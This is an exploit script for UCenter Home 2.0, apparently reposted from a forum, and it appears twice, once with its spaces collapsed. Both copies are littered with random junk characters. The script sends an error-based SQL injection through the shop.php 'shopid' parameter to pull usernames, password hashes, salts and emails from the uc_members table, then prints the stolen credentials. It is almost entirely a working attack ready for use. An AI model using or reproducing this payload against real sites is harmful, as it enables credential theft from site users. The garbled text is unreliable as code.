#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl& L+ P" J; H1 Q; H
' l5 ~4 d/ n$ N% X K1 j" h9 s& K8 N5 M$ z& ~% [; S
#!/usr/bin/env python - k- X' o- ~" P- T2 E
! y5 S$ v" K5 v1 P u& ?4 kimport sys 3 D$ z( w& A8 |! ]2 f" f7 B, @ l- ?
import urllib2
- x) y# }1 I0 Eimport re
, ~' \/ H) L, x* i
/ G8 O7 ^/ c0 Q8 \def info():
- y! o0 T+ ]* H6 W7 M1 R print 'From:http://www.exploit-db.com/exploits/14997/' : t6 q/ s* Q! Y4 e5 ~+ x
print 'http://www.hake.cc/Web_loudong/' ' u6 {/ [& ]* B
print 'changed:qiaoy'
1 t: b+ k3 s/ V0 G print 'exp:'
3 i5 C) W1 c6 [" B+ U) L7 d print ' ./UCenter_Home_2.0.py site'
1 _$ u: [" W1 n1 e6 U 7 z$ y; W9 T8 M' `( Q0 k
def main(): $ v0 I: ]2 I6 h" q
if len(sys.argv) != 2: ) R m" k/ M2 Z( l! W+ R n
info()
7 p6 D: O. C9 |; c% k1 E else:
0 ~. c' d0 c" \, _0 b site = sys.argv[1] % z5 D3 M& j5 d) }! m2 }
if site[0:7] == 'http://':
3 u' v2 R3 o1 E$ ] sitesite =site 8 V, E/ f a1 R; c; L
elif site[0:8] == 'https://':
2 g1 B: D7 g( s0 I1 g$ @ sitesite = site % V1 D: i5 _8 N! `9 R5 E
else:
7 L) `; r+ s$ o# W site = 'http://'+site
! K; t# X* W$ {" v, V7 R* U# M try:
# o; B4 ^' k7 i/ P4 h- B7 o url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' $ Y# _' a- }4 k% N2 P o
Value = urllib2.urlopen(url).read()
6 N5 ~0 N' y7 a# M/ ~" r! l* t6 h Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
% j9 v% `- {! o1 v% M4 Y hacked = Msg.split(':') ' h6 N1 h2 B q, }4 \: n- q5 c
print 'Name: '+hacked[1]
: |/ \( B/ t+ @$ e print 'Passwd: '+hacked[2] ; u V( S3 d7 f6 F* E
print 'salt: '+hacked[3]
( _; G" d/ d3 [" H. X. J print 'email: '+hacked[4] , C8 Q- s3 {) [) ^- Z2 w
except: 7 W" n, o& m3 E5 T1 q
print 'Sorry,I can\'t work............'
8 k, R3 \3 D: M! n9 x7 `7 t " b, |3 e7 B6 D% L
if __name__ == '__main__': * F. r' d1 F' O! y1 B
main() |